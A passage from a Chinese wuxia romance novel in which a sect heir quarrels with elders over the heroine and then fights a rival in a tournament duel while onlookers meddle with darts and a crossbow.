顾怀瑾有意试探慧德究竟能忍李玄白到何种地步,也有意瞧瞧他究竟能为南琼霜做到哪步,一时垂眸笑了,等他回应。 李玄白不说话了。 衡黄笑了:“罚不罚,李大公子?” 李玄白厌恶白了她一眼,偏开头去。 问了这么多遍,都没问出来,那答案已经呼之欲出。 南琼霜在心里耸耸肩。她也早瞧出来李玄白并不会将她置于自己之前,对他而言,最重要的永远是他自己。 那也没有什么。原本不过萍水相逢的一点迷恋,帮是情分,不帮是本分,他也已经待她不薄,谁会期待他太多。 李玄白“啧”了一声,抬起下巴看顾止:“问你呢。” 顾止笑起来。挡不住了,就推给他? 不过,听见这李玄白能为她做的,也不过就这么一点,他心里倒舒坦些许。 顾怀瑾恭敬道,“楚姑娘确不能罚。有什么责罚,我替她受过便是。” “衡掌门已经让了步,你竟然还不识好歹?顾怀瑾,”慧德已经开始连名带姓唤他,显见是真的怒了,“你作为一山少掌门,该尽的责任,不曾尽过,每日为了一个女人误事。” “如今又为了这女人,伤了衡掌门的女儿,竟然还不知悔改,一意孤行。老夫教了你十数年,是否都教到狗肚子里去了?!你爹爹闭关前叫你舍己为公、一心为山,你跟着你爹爹姓顾,难道不觉心中有愧?!” 顾怀瑾只是道:“有愧,但不能罚。” 慧德竟抓起茶盏,隔着珠帘一把砸在顾怀瑾头上,珠帘乱晃,碎瓷片溅飞一地,他顿时被滚烫的茶水从头泼到脚,只是闭着眼,安静受下了。 “孽障!”慧德一下站了起来,“你就是这般做山上少掌门!” 李玄白在一旁轻笑出声。 南琼霜听见李玄白那一声笑,立时心烦意乱,上前半步握住了顾怀瑾的袖子,“长老,其实要罚我……” 其实要罚她,也没什么的,何必为此闹得局势失控、山上大乱,顾怀瑾又有什么错,你们天山,阴阳钥还找不找了? 顾怀瑾却感觉到她握住了他的衣裳,睁开眼,与她的手交握一瞬。 那一瞬间,她就有点安心。 他却握着她的手,又将她拖到自己身后,不准她上前。 顾怀瑾垂着眼眸,神色倒是十足平静:“其实,师叔何必如此动怒。既然我这个少掌门,师叔认为做的不好,那么,师叔另觅人选,我将少掌门之印交还山上,择期下山,此事不就了结了。” 此话一出,菩提阁内众人一齐惊望过来,连李玄白都一脸“这人今天疯了吧”的表情,嘴角抽搐了半晌。 宋瑶洁:“简直胡言乱语!天山派掌门向来是顾氏一脉,你作为掌门唯一的儿子,如今怎么,是要撂挑子不干了是吗?!” 顾怀瑾只是道:“爹爹闭关时,是说要师叔教导辅佐我。既然师叔对我不满意,我便让贤,直到爹爹出关,天山派便依旧姓顾。不也一样?” 慧德:“你是要让老夫在古稀之年,担上一个逼走师侄、阴谋夺权之名吗?” 他一口咬死:“既然怀瑾无能,此番对天山最好。” 慧德一时竟无话可说,站在珠帘内,怒得气喘如牛,几乎站不稳。 向来和善周到的人撕破脸皮,仿佛晴空万里的天里一道惊雷,叫人先是错愕,后是惧怕,最后喃喃地念,怎会如此。 其实并非“怎会如此”。慧德在他头上骑了快十年,他早该想到有这样一天。 顾怀瑾笑起来:“师叔的决断呢?” 连衡掌门也晓得,断不能因为自己女儿一时任性,逼天山少掌门下山,不得不劝慧德: “长老,此事非同小可。倘若怀瑾执意如此——倘若怀瑾执意如此,今日便算了吧。” 顾止总算松了口气,垂下眼,略带讥诮地微微一笑。 少掌门三个字,不知束缚他多少,可是如 今,总算还有点用。 不过,只可惜,衡青南服了软,他就不能名正言顺地摘去这职位,跟她一同下山。 他往后退了半步,想去寻身后的人,哪怕只是牵一下她的手。 李玄白却忽然笑了:“择期下山?你是听说我们两个不日要一同下山,故意掺和进来的吧?” 第67章 顾止登时愣住。 最初的一瞬间,看起来几乎平静,眸光缓缓地转到她身上来,“……皎皎?” 她低下头,不说话。 她万万没想到,这李玄白,把这件事情捅给顾怀瑾,是在这种情况下。 竟然是在菩提阁内,当着慧德、衡青南和衡黄。 怎么?他想当着这么多人的面,因为她,跟顾怀瑾撕破脸? 再开口的时候,顾怀瑾的声音已经不大正常,微微颤着,过来握住她的手。 “……皎皎。” 他的手竟然那样冰凉。 她窒息一秒,抬起头来,只见珠帘内,慧德和衡青南一齐阴沉而不善地看过来,一旁衡黄也渐渐变了脸色,宋瑶洁一脸震惊,将拔出来的剑一下怼入了剑鞘。 她一时为难至极,倒吸一口气,后退半步。 却被他一把抓住了手,不由分说地,一步步又拉回了他身前。 顾怀瑾眼底已经泛起了淡淡的红,一双眼亮得惊人,周遭人目光如刀剜在他身上,他竟一丝也不顾,不错眼珠地,只看着她眼睛。 声音却仍是温柔,“……皎皎,怎么回事?” “什么怎么回事。”李玄白笑起来,当着菩提阁内众人的面,拉起了她另一只手,“你还没听说?这山上人全知道了。就你还不知道?” 顾止垂下眼,沉默,静静听着。 李玄白握着她的胳膊,一把将她拽到自己身侧,“怎么?她还没告诉你?我当你们俩关系挺好呢。” 南琼霜做梦也没想到他竟然这般无所顾忌,无所顾忌到将她卷入也无所谓。 当真要在这么多人面前挑衅他吗?哪怕慧德对她的杀心,已经谁都看得出来? 他们俩因为她而大闹,这两个人倒是身份高贵,可是她呢,她还能落得什么好? 她这辈子最恨别人为了自己高兴拉她下水,挣扎着想扭开他:“你放手。” 没想到,这样一动,另一边的手竟也被人攥得更紧了,她几乎吃痛,再一抬头,正好与慧德和衡青南对上了眼神,面前,顾怀瑾神色简直已经不像个正常人,她这些日子了解他,这个样子,是已经失去理智,濒临失控,不知道下一秒就会做出什么来。 她急着哄他,“怀瑾。”一边李玄白已经又在一旁拉扯她,将她拉离了两步。 她与顾怀瑾相握的那只手,掩在两人袖子底下,她无法,大拇指一下一下哄孩子似的摸他的手背,一面看着他发红的眼睛,轻声唤,“怀瑾,怀瑾,怀瑾。” 她那双眼睛,是说,怀瑾,不要生气,我有话要说。 顾怀瑾隐隐约约终于知道自己身在何处,喘上了一口气,可是人竟如虚脱一般头晕目眩,趔趄了一下。 他一趔趄,南琼霜瞬间就被李玄白拉到了自己身侧,被拽得一歪,靠着李玄白的胳膊方才站稳,被李玄白半搂在身侧,一双眼睛,凄凄望着他。 顾怀瑾发着抖笑了起来,“你竟敢……” 南琼霜左右一望,倏然发觉身侧已经浮起了一圈两人的珠子,往帘内一看,慧德跟衡青南正冷眼瞧着,她急上前几步又握住了他的手,“怀瑾!” 顾怀瑾终于停了下来,胸口起伏得吓人,望着陡然挡在他身前的人,轻而急地喘着。 她望着他那双黑茫一片,几乎快涣散了的眼睛,一笔一划、艰难而缓缓地,在他掌心,写了一个字。 蛊。 顾怀瑾的眼神终于又清明一瞬,冷汗涔涔,眩晕着吞咽了一下,润了润嗓子。 她方才为什么和那李玄白在一处,是为了替他问出今日有没有带蛊虫? 她还在关心他,她还有话要说。 顾怀瑾头痛得快炸开,闭了闭眼。 上头慧德已经大怒:“怎么!几个月里,整日为了这个女人大闹个不停,这一会,竟然连珠子都用在老夫的菩提阁了!这女人岂有再留的道理?!” 李玄白笑着将顾怀瑾和她相握的手拨开,“哎,别生气嘛师父,我们两个马上就下山了,还能叨扰您多久啊?” 顾怀瑾望着李玄白那得意神色,一时简直不敢置信。 方才要救人,问他,他不肯答话,把事情全推给他。 眼下,人没事了,竟然还好意思将人拉到自己身侧,明知道上头长老们都在看着,明知道长老们因他们两人争风吃醋,对她早已动了杀心,明知道她夹在他们二人之中,身份最卑微,最容易遭人毒手,可是,他竟然连她的安危都不顾,只顾着自己同他抢人?! 他当真是疯了,天底下竟然有人这般无耻?! 顾怀瑾强自平稳着呼吸,双睫微微湿润,阖了阖眼。 轻轻地,放开了手。 不要跟这轻狂小儿计较了,她会为难。 有什么账,以后再算,弄死为止。 慧德:“你们两人的下山文牒,可已经拟好?” 李玄白:“写好了。”笑着看了顾止一眼,“只是还没递到我们少掌门那去。原本商量好了,想等会再告诉他的。” 顾怀瑾脸色惨白如幽灵,闭了闭眼。 慧德:“那好。尽快递,尽快批。老夫是再也不想看见这女人在山上。” 顾止沉默颔首。 李玄白又笑道,“到时候我们两个成婚,师父下山喝喜酒不?给山上人留一桌,也得请我们少掌门啊。” 顾怀瑾一瞬睁开眼,又盯回李玄白身上去。 那样的眼神,南琼霜看得心里咯噔一下,她刚刚才将人勉强安抚好,众目睽睽之下哄得他暂时忍下,结果这厮两句话,又将她所做一切尽数抹尽了。 当真是疯了?!当真是除了他自己,谁也不顾?! 她恨不能原地用蛛罗丝割了他的脖子,咬牙瞪了李玄白一眼,再一转头,竟见顾怀瑾在一旁又哆嗦起来,那眼神已经跟失控将她压在榻上抵着她的那天如出一辙,她太阳穴嘭嘭跳起来,他不会想在这里逼问她吧? 用他那种……那种方式? 她急道,“怀瑾。” 顾怀瑾没反应。 她道,“怀瑾,我看到你比完退场,就会回房,后面不看了。” 顾怀瑾依旧并无动容,望着李玄白。 她夹在中间,感觉几乎快被两人身侧的汹涌浪潮卷走,疲惫又身不由己,上去握住了顾怀瑾的手。 他终于有了反应,木木地,低下头来望她。 袖中两人交叠的手缓缓收紧,她望着顾怀瑾那双漆黑不见底的眼睛,轻轻道: “听话,我翻出来一把新扇子。” 那一瞬间,仿佛两只昆虫在茫茫万物中,忽然匹配上了看不见的信号。 顾怀瑾垂下眼。 “扇子?”慧德回头问宋瑶洁,宋瑶洁一头雾水,狐疑摇头。 李玄白:“什么扇子?对了,我那把扇子你到底给我弄哪去了?” 顾怀瑾无力虚扶住一旁的桌角,筋疲力竭地缓了许久。 良久,他白着一张脸,不去望她,声音低得仿佛呢喃: “好,那你答应我了。” 然后,再也支撑不住,几乎有点蹒跚地,走了出去,留下一个背影。 还有一句:“早点回来。” * 走出菩提阁,她长出一口气,揉着眉心。李玄白将她扶稳,让她靠在身上,她腾地一下直起身来,离他远些。 瞪他一眼,用眼神叫他滚。 李玄白一愣,笑起来,“老子为了给你出气,连打了衡黄两顿,你就用这眼神瞧我?” 她懒得答,径自拨开了菩提阁外的檀木珠帘,竟见外头白花花跪了一地山上弟子,顾怀瑾立在众人中间,四下看着,似乎十分为难。 李玄白一把将她拉住,不准她再往前靠近。 她问:“前面这是在做什么?” 李玄白抱着肩膀冷哼一声,不答。 她白他一眼,又望向一旁站着的伊海川:“伊师兄,前面这是怎么了?” 伊海川抱拳道,“方才菩提阁内吵得不可开交,山上众弟子听说大师兄请辞了少掌门之位,全从比武场过来,求大师兄回心转意,留在山上。” 地下跪着的人,一片低低的呜咽: “少掌门乃是我天山定海神针,请少掌门执掌镇山玉牌。” “掌门闭关,求少掌门代为统御全山。” “请少掌门留在山上。” 顾止被众人围在中间,鹤立鸡群,因她两句话而薄红的眼底,血色仍未褪去,但已经换上了平日里的亲民神色: “诸位请起,顾某今日不过说了些气话。慧德长老也并不允许我退。诸位何必如此?请起吧。” 众人却不依不饶跪在地上,甚至有膝行两步过来,抱住他的腿大哭的。 顾止一时无奈,举不动步,站在原地,不知如何是好。 李玄白冷笑一声,拖着她的胳膊从一侧绕过,故意堂而皇之地在顾止眼里留下一双背影,经过之处,地下弟子惶惶避让,没有一个敢挡在他的路上。 南琼霜心里笑了一声,原来这山上形势这样有趣。 顾怀瑾这些日子,因为与她的事,闹得满山风雨。然而没想到,闹到阖山都在咀嚼他的私事的地步,他依然如此得民心,刚在菩提阁内吵了一架说要退,出了菩提阁,满山的弟子就都在阁门外堵他。 至于李玄白,人人避之不及,闻风丧胆,远远地见了他来,不等他开口,就全落荒而逃。 她这是招惹了两个什么人啊。 李玄白攫住她的胳膊,一路不肯放,她被扯得趔趔趄趄,没走两步,便觉身后一道目光打在背上,几乎要将她插穿。 她闭了闭眼,身上发毛,明知道身后人在看她,可是根本不敢回头,只得快走两步。 李玄白正欲在顾怀瑾面前耀武扬威一番,见她陡然走快,一时不满,“你走那么快干什么?想跑?” 南琼霜想起他在菩提阁内干的那些破事,回头剜他一眼,头也不回地往前。 李玄白笑了:“生气了?因为我在菩提阁内没说救你?” 她笑起来。倒不是因为这件事。不过,倘若细究起来,这件事情,她即便生气,也不算无理取闹。 何况,还有更加叫她火大的事。 她冷瞥过去:“我问你,你今日在菩提阁内大闹的时候,有没有想过我的处境?” “啊,想过。”他抱着肩膀,手指在胳膊上敲了敲,“大约他们都更想杀你了吧。不过那又如何,我们马上下山了。” 下山个屁。 她笑,“那你有没有想过,你们二人上去大比,我自己一个人在台下,最多旁边还有一个不知道什么时候要上台的伊海川。衡黄本就善妒,衡青南本就护女不得,心下不满,宋瑶洁早跟我结下大梁子,慧德早就已经给我下过毒?” 李玄白冷嗤一声。 “我知道你早看不惯顾怀瑾。但你非要在慧德和衡青南面前,在那样多山内举足轻重的人物面前,为了自己爽快,故意招惹顾怀瑾吗?——明知道我在山上已经举步维艰?” 他笑,“他又没有应我的战。一棍子打不出两个屁的东西。” “他没有当面同你翻脸,是为了我!” 南琼霜一把将他的胳膊甩开,再也不愿多看他一眼,兀自向前急走。 行事无所顾忌之人,当真是心中只容得下自己。此前他愿意帮她护她,现在看来不过是他顺手的事,何况,还能方便他逞一下英雄。 真要救她时,要他付出些代价,他便不出声了。唯有方便行事时,他会将事情办得痛快淋漓。 她冷笑一声。 救不救她,南琼霜无所谓。 但是,倘若真坏了她的好事,逼得她即便留在山上,也没有多少好日子,那她做鬼也要把他带走。 “不是,至于吗?”李玄白上下睨着她,“还能有人敢动你?你真是因为这事生气?因为我没救你而生气就直说。” “生气个屁。我死活都无所谓。但你不该为了你自己一时高兴,把我卷进去。” 说话间,已经回到了练武场。擂台上不知进行着第几轮,观武台上弟子呼啸着喝彩,卖糖葫芦的小车一层阶梯一层阶梯地推上推下,她道:“你想惹他,我无所谓。但你非在菩提阁内惹他?他……” 一回身,人已经不见了。远远一看,李玄白早就停在了比武场入口,同守卫此处的弟子确认着场次,不仅没听见,连看都没有看她一眼。 她向来自诩脾气好,眼下也不由眼前一黑。 “怎么了?”李玄白若无其事地走来,仿佛她说的那些,他全不曾放在心上,“快到我了。今日手气不佳,抽了几支臭签。” 南琼霜站在原地,上山这么久以来,头一回怒得发抖。 李玄白:“怎么不说话?若是无事,我先去台下候着了。” 南琼霜强撑着闭了闭眼,点点头。 李玄白在她耳边打了个响指,“别忘了替我指。” 南琼霜笑出了声,睁开眼睛,眸光幽幽:“好啊。” * 衡黄这人有个特点。 一乱来,就倒霉。 有时候,她不是没发现她这个特点。 只是即便倒霉,还要乱来。 坐在观武台上,她特意寻了个隐蔽位置,避开她那动辄吹胡子瞪眼的古板爹爹,同她心爱的侍女金萍掩在一处树荫下。 金萍递给她一把闪着光的弓弩:“小姐,此乃咱们山上有名的弯月弩。可连射,可齐发。射得远,打得准。小姐试试。” 擂台上,李玄白已经登了场。对面的人,她不认识,不过那一副光是站在李玄白面前,就两腿战战、脊梁发软的样子,想来不可能是顾止。 正好,只有李玄白。就是打死了,也就打死了。 台中巨鼓一敲,鼓声震荡茫茫,李玄白抱着肩膀,冷眼看着对面的人朝他鞠躬抱拳,弹剑出鞘。 衡黄拿着精巧的小望远镜:“嘁,动手之前竟然不鞠躬,这厮可是真狂,我非一箭射他膝盖上,叫他好好跪一跪。” 远处,李玄白从容将剑抽出来,一道微微泛蓝的剑光握在手上,六颗看不清踪影的珠子旋绕周身,无一丝犹豫,上去提剑旋挽,飞身凌空一踢,将对面人的剑踹飞几寸。 珠子霎时趁机而入,避开对面人的剑身,嘭嘭数下,精准打在对面人关节上。 对面的弟子当即一跪。 李玄白长身傲立,懒洋洋开掌,那几颗珠子霎时钻入他掌心。 毫无悬念的胜利,观武台上众人兴趣缺缺。 衡黄:“嘁。”举弓,瞄准他的膝盖,“嗖——”射出一箭。 那箭矢霎时如有灵识一般,准而疾地破空刺去,穿过观武台一阶一阶的人潮,直奔李玄白的膝盖而去。 衡黄和金萍举手高呼:“耶!!天赋异禀,当真是天赋异禀。区区一箭——” 忽然一盘莫名其妙、细细碎碎、又黑又白、又干又黏的东西兜头浇下,灌满她的衣领。 她发着抖,低头看下去。 “谁在老娘头上嗑瓜子!!!!!!” 台上,那一支箭精准飞向李玄白,落在李玄白脚下。 李玄白兴趣缺缺,捡起那支箭,往观武台第一排一丢:“哎,你们玩投壶的,扔到台上来了,收敛着点。” 衡黄站在原地,披帛狠狠攥在掌心里,望着坐在身后高一级的阶梯上的人的脸,哆嗦了半晌。 那弟子非常惶恐:“我们几个,嗑点瓜子,刚想去倒,不想姑娘忽然抬起手来,给打飞了。” 金萍抚着她的背,“小姐,消消气,消消气。下一场,就是顾公子和李公子了。这时候闹起来,岂不耽误正事?” 第68章 顾止和李玄白总算在比武台上碰了头。双方都早期待着有这一天,未等开打,望着彼此的脸,已经开始觉得痛快。 擂台正中央,朱红巨鼓被两只包着红绸的鼓槌轰然一敲,击鼓声雷动,比武台上回声阵阵。 两人退开半步,中间的裁断,周信,朝两人摊开手,示意两人相对鞠躬。 李玄白如往常一般桀骜笑着,仿佛与他无关似的,兀自不动。 李玄白素来是这个脾气,山内无人不晓,也无人勉强得了。 可是——周信余光往顾止一侧瞥过去,竟见平 日里最是温和守礼的顾少掌门,噙着一丝不达眼底的笑,也八风不动地站直在原地,半点没有尊敬的意思。 周信冷汗涔涔地从两人中间撤出来,哪边都不敢劝。 不鞠躬就不鞠躬吧。据说这两人一直不大对付,最近更是连明面上都不肯敷衍了,为了一个上山来的女子,争得你死我活。 这俩人的事,哪有容他置喙之处? 他将手高高举起,衔着骨哨,嘘——地吹响了哨子。 南琼霜坐在观武台正中央,望着台上两人,一时皱了眉头。 李玄白素来是不用说的,平日里也如一把见过血的宝刀一般,锋锐难当。 可是,一向那样温润的顾怀瑾,脸上虽然笑着,神色姿态却一派阴鸷,慢悠悠地驭珠,慢悠悠地抽剑出鞘,松松垮垮地剑尖斜指,轻蔑挑眉。 那态势,简直不用挥剑,风中落叶便会化为两半。 不过,这一个月,他几乎不曾睡过整晚的觉。白日里操劳公务,夜里抱着她落泪,日日夜夜自我煎熬,方才又在菩提阁内忍得几乎虚脱。 眼下,虽然气势未输,但他当真还撑得住吗? 忽然,台上的顾止,远远地,朝她的方向瞥了一眼。 隔得太远,她不知道他是否是为看她而转过头,可是那一瞬间,实实在在地对视了一秒。 她心里突地一跳。 那一眼过后,顾怀瑾便转回头,面对着李玄白,从容不迫,等他出招。 高手过招,素来有静候其变的一步,两人往往彼此观察一阵,性子急的那个,便先出招。 台上,李玄白周身本命珠萦绕,几步上前,旋出一道剑光。 顾止抬剑一格,让开半寸,自李玄白横来的剑下,突地放出两颗流弹般的珠子。 李玄白闪身一躲,一串小陨石般的珠子窜出来,自顾怀瑾身后绕上去,突袭他后脑。 顾怀瑾看也未看,两三颗流光溢彩的珠子嘭嘭嘭依次相击回去,剑光一挽,飞身一掌,李玄白旋即如一只轻巧的雨燕,自他剑下翻滚过去,抬掌驭珠。 观武台上,南琼霜坐在正中央的最前排,屏息凝神,伊海川在一旁替她解说。 “大师兄这一招,预判了玄白师兄珠子的来势,将珠子分为三路,一路格挡玄白师兄的本命珠,一路自保,一路大约正隐在袖中蓄势待发。” “玄白师兄摸清了大师兄的路数,猜到他会留后手自保,故剑走偏锋,将所有珠子聚集在一处,尽数打出,打得大师兄提剑也无法格挡。” 台上,顾怀瑾竖剑在身前,李玄白的珠子“当当当”撞在他泛蓝的剑身上,震得他胳膊一阵发麻,趔趄退后几步。 南琼霜不自觉捏紧了袖口,这人已经许久没休息好了,体力当真还跟得上吗? 忽然,一只短而轻巧的箭矢,“嗖——”地一声破空而来,直奔李玄白身上而去。 南琼霜猛然抬头。 衡黄坐在观武台高处一个角落中,不知何时,竟然换上了与天山同色的白衣,气势汹汹、斗志昂扬、信心百倍地撂下了手中弓弩,手搭成一个小棚,期待万分地往台上看去。 果然是衡黄。 可是,她怎么坐在那?不是吵吵嚷嚷地非坐前排正中央不可吗? 台上,李玄白提剑挡下一击,忽然一个旋身飞踢,将那窜来的短短箭矢一脚踹飞,朝着观武台大怒: “谁!别他妈在这玩投壶了!!” 狮吼般的一句,击在擂台周围的山壁上,回转久绝。 衡黄在观武台上气得发抖:“竟敢说这等精妙的刺杀是投壶……哼,老娘我什么时候跟你玩投壶了!” 两手高举,张牙舞爪,“这简直是侮辱!侮辱!老娘我——” 尖利的嗓音却忽然刹住了。 下一秒,那嗓音简直撕裂了观武台上空,悲愤激昂如猿啼: “没完了!你们今日没完了是不是啊!我可是衡山派衡黄!你们知道这般惹我会怎样吗?!” 南琼霜回身看去,惊见众人注视之间,衡大小姐头上扣了个圆滚滚的西瓜皮,整张脸被罩进其中,只看得见底下一张开开合合的红唇: “到底是谁!胆敢在老娘头上!!撒野!!!” 扣着个绿西瓜,连声音都是闷的。 她身后一众弟子惊慌不已,七手八脚地将那锅一般的西瓜壳撤下来,“小的几个吃完了西瓜,想拿去外边扔,不想姑娘突然抬起手来,小的没拿稳,一下给掀飞了。” 南琼霜:……? 回过身来,长叹一声,烦躁揉着太阳穴。 衡黄,她到底行不行啊。 就这样子,李玄白还需要提防她吗? 成事不足败事有余的东西,就只有平时叫唤得欢,实际真指望她起点作用,连人家的门都摸不着。 伊海川忽然道:“咦,那是什么?” 一抬眼,什么东西旋转着窜过观武台人群,轻飘飘直奔台上而去,快得仅能看见一圈残影。 李玄白与顾止正酣战难分,两人剑刃抵在一处,四颗珠子搅在一起呯嗙相击。 那东西嗖嗖破空飘向了李玄白后腰,他百忙之中分神驭珠,当地一声将那东西别开,一脚蹬开顾怀瑾的剑刃,空中一个后滚翻,撤开几步远。 小红耳坠轻摇,眼神深深,朝她望了一眼。 那意思是,来了,帮我盯梢。 南琼霜垂眸笑了一声。 顾怀瑾当即提剑一斩:“往哪看呢!” 衡黄坐在观武台众人之间,鬼鬼祟祟地伏下身子,咬牙切齿道,“弯月弩就算不行,你今日也跑不了。泼猴,见识见识本小姐的火旋镖!” 火旋镖似乎是衡山派的看家本领。这一套,衡黄倒是熟悉,弹指即发,转如漩涡,霎时一连串旋转着的残影自观武台上一阶一阶飞掠而下,飒飒破空。 台上,李玄白挡下顾止一击,耳畔顿时响起一阵嗡嗡蜂鸣,他险而又险地偏头避开,余光一瞥,观武台正中央坐着的人,手中执着他那支弄山月,已经在空中连指两下。 他心领神会,再一抬眼,面前人已经瞧出他在同谁暗中传信,原本便灰败的神色,一瞬间简直是惊痛。 他心情大好,两三颗珠子分为两路,自顾止身后绕向他颈椎,一面剑花旋挽,脚尖轻点,在空中利落旋身。 不想,膝弯和手臂两下不期然的疼痛。 他坠在地上,膝弯简直回不过来,在地上歪了一下。 “我艹……” 捂着手臂,难以置信地,望向了观武台正中央的人。 那坐在众多白衣男弟子中间,唯一的一张幽丽面孔,歪着头,弯着眼睛,朝他笑了一笑。 南琼霜把他那支弄山月在掌中把玩着,避也不避地迎上他要杀人一般的暴戾眼神,毫不在意,抱起肩膀。 不是为了自己高兴,不惜拉她下水吗? 那么,谁也别想好。 李玄白顿时从她那深潭一般的眸光里品出些报复味道,气得简直笑了一声。 就算菩提阁内,他今日没救她,也不曾顾忌她感受,但是此前,他那么多次向着她、护着她,为了她连慧德的面子都敢驳,难道都帮到狗肚子里去了? 他的好,她是一点也不念?! 忽然背脊被颗珠子悍猛一锤,他后背几乎被洞穿,那种力度,哪里是山上弟子比武,简直恨不得将他心肺当场凿空,是狠绝至极的杀招。 顾怀瑾:“还看?!” 李玄白咬牙一笑,闪身躲过,“老子今天非杀了你不可。”抬掌,一连串流珠直奔顾止穴位而去,“先杀了你,再去找她算总账,谁也别想 跑。” 顾止恨恨推来一掌,掌风磅礴呼啸,“你倒是有脸说。平时挺能显着你,真要你付出点代价,人就不救了?” 李玄白笑起来,格剑一挡,“那不是还有你呢吗,顾少掌门?我们哪儿比得上您啊。” 顾止恨极,手掌一推,一连串珠子四散飞开,四面八方奔李玄白关节而去,“你敢指望我?!恶心。” 忽然,李玄白耳畔又一轮飒飒旋转裂空声。 他回身一看,观武台中央的人,笑吟吟地,又替他指了方位。 他轻笑一声,事已至此,她以为他还会信她?闪身往反方向一跃。 肩膀和腰却忽然又被飞来的旋镖割开,一阵刺痛,血染红他的白衣。 艹,这回又他妈是对的?! 李玄白勃然大怒又不敢置信地,往观武台上看了一眼。 众人中间的那张嫦娥般的面孔,撑着腮,弄山月在指间悠悠把玩着,兴致盎然地朝他看过来。 见他在看她,南琼霜不由嗤笑出声。 没想到吧。 可能会帮你,也可能会害你。猜猜看,下一回,我是帮你,还是害你? “捉摸不透”四字,是这些年来,她面对男人,总结出的四字真经。 你永远别想猜我的心思。 台上,顾怀瑾简直一口气塞在胸中,无论如何喘不上来。 方才菩提阁内,那种几乎让他在陆上溺水的心慌,又缓缓地淹没了他的耳喉口鼻。 她在帮他。帮李玄白。 方才那两下,她还只是故意误导他,惹得他受了两击。 如今,竟然是真真切切地在帮他。 为什么要帮李玄白对付他?为什么? 他又哪里做得不对了吗?哪里惹得她不高兴? 菩提阁内,他那般忍让,他已经那般忍让。 还不够?还要怎样? 难道他听说他们两人即将一同下山,他是全山唯一一个蒙在鼓里的人,这种情况,他还一点情绪都不该有吗? 忽然腰上一阵刀割般的灼痛。 他低头,惊见自己下腹,弟子袍已经被割开,鲜血染红白衣,缓缓地洇开了花。 对面,李玄白笑,“哟,这都没躲开?” 他恍若未闻,心中竟然有些快意,抬头往台下望去。 坐在观武台中间的人,被一众男弟子包围着,其余人皆面目不清,唯有她俏生生的,正和伊海川附耳说话,彼此笑了一笑。 面前李玄白大喝:“往哪瞅呢,我也想问你!”提剑斩来。 似乎腰背上又中了几颗珠子,几乎要磨破他的衣裳,钻进他皮肉中去。 但是,也不大痛。或者,是他不怎么在乎。 李玄白见他这副失了魂魄的样子,心情瞬间好了不少,剑与飞珠一齐咄咄相逼,“怎么?瞧见她帮我,你受不了了?” 顾怀瑾只是垂着眼,一丝斗志也无,颓然麻木地提剑挡着。 李玄白气焰更盛,一步一步挽剑旋剑,本命珠抛得仿佛陨石,他进一步,顾止便趔趄退一步,几乎已经退至了擂台边缘。 好累啊,他只是觉得好累。 在这里比,一甲二甲又如何,有什么意义? 不如快些下台。有些事情,他现在就非做不可,多等一秒,都会痛得心神俱焚。 他今日,神智早就已经快熬干了。 余光却忽然瞧见,观武台之上,一个涡旋一般的残影,悄无声息地飞近了她身后。 她浑然不觉,兀自同伊海川说笑,面前李玄白咬着牙,剑光削得落花一般眩目,“往哪看呢?!瞧不起我?!” 他眼看着青蓝剑刃直逼眼前,只是平静无波地阖了眼。 观武台下,南琼霜忽然听见背后不远处,“当”一声巨响,震得她几乎从坐席上弹下来。 回身一看,一只三刃红缨飞镖,静静地跌在她身后,投了降。 她抬头,一颗斑斓晶莹的本命珠嗖地蹿升入空,直奔台上人张开的手掌而去。 可是,台上人收珠的姿态那样娴熟自若,却闭着眼,任由面前人左右腾挪、剑花闪烁,只是站在原地,甚至连眼帘都懒得掀一掀。 她不由皱了皱眉头。 这人怎么了? 忽然,肩上搭了一只手,轻轻地唤:“楚姑娘。” 第69章 她回身一看,是一张陌生脸孔,一个乳臭未干的男童,奶声奶气地朝她抱拳:“楚姐姐,少掌门临上台前,叫我来对姐姐说,要姐姐大比之后去比武台旁的卧龙寺内等他。” “卧龙寺?” 伊海川道:“就在这附近,大比之后我带姑娘去。” 她颔首道谢,那男童便转过身,小小的身影逐渐消失在四周观武的弟子中间。 她侧首问伊海川:“不过,为什么是卧龙寺?” 伊海川摇头:“我也不知。” 她皱皱眉头,将那跌在她背后的飞镖捡起来,拿在手里细细地看。 三片涡旋型的刀刃,一圈红缨缠在中间,刀片锋利得触手便可见血。 伊海川接过来:“这是衡山派的火旋镖,想来衡小姐仍未消气。不若我们换个地方坐?怕姑娘受伤。” 她还得耍弄李玄白呢,这么换了位置,李玄白在台上,岂不是瞧不见她了? 她道:“无妨,这两人大致也快比完了。等怀瑾下了台……”抬眼往台上看,一时愣了。 顾怀瑾已经被逼至擂台边缘,似乎连动都懒得动一动,面前李玄白蓄力提剑正飞身而来,他看也未看,手臂条件反射地提剑格挡。 眼睛却隔着人群,定定朝她看过来,看进她眼睛里。 对视那一眼,她的心揪起一瞬。 这又是怎么了?哀切又茫然,仿佛现在就非需要她不可,如果不行,下一秒就要碎掉了。 方才登台的时候,不是还杀气腾腾,气势逼人吗? 一旁伊海川纳闷:“大师兄怎么了?在看什么?怕衡小姐的飞镖?” 她蹙起眉头,望着顾止的眼睛,手往李玄白的方向急指了一下。 人来了,打啊,别愣着。 顾止清醒一瞬,终于又肯提起剑来挡了一下,周身本命珠成串窜出,当当当当与李玄白的珠子相击。 李玄白瞧出他心神不稳,笑着提剑旋斩,四下里一片剑光纷繁,“不是吧,你?都到了台上了,还想着她?” 顾止不语,将来招尽数挡下,神色却疲惫又厌倦,仅为自保,勉力敷衍。 李玄白绝不肯轻放他,一连串珠子飕飕直奔他全身穴位而去,笑着: “我早想说了,你这人是不是脑子不清醒啊。不论别人如何待你,天天就是以德报怨,你替别人考虑,别人可没考虑过你。这么爱做圣人?别到时候圣人做不成,先成个窝囊废。” “喜欢她?是,我承认,我对那女人和你一样。但是谁会成你这个样子?你看看你自己现在这个样子。失魂落魄的,连个人样也没有。你至于吗?” 顾止只是平静由他嘲讽,面上一丝波动也无,垂着眼闪躲。 李玄白笑,“怎么?想她?在这里想她?” 见他不答,笑意更加恶劣,“在这想她又有什么用?你以为你想她,她就会留下来陪你,不跟我走吗?” 顾止猛地抬起眼来。 “哎唷,生气了。一提起这事就生气了。” 李玄白最爱看他生气,笑着闪过他突刺而来的本命珠,耳下小耳坠摇晃一瞬: “她不过顺手帮了我两把,你倒好,竟就把脖子洗干净等着我来砍了。那她跟我下山,你是不是明天就要找棵树上吊啊?” 他笑得越发肆意,“哎呀,别死太快,至少也得等她忘了你之后啊。不然,死的太早,她就忘不了你,你别给活人添麻烦成不成啊?” 顾止的剑光霎时绵延一片,晃得眩目,“你找死!” 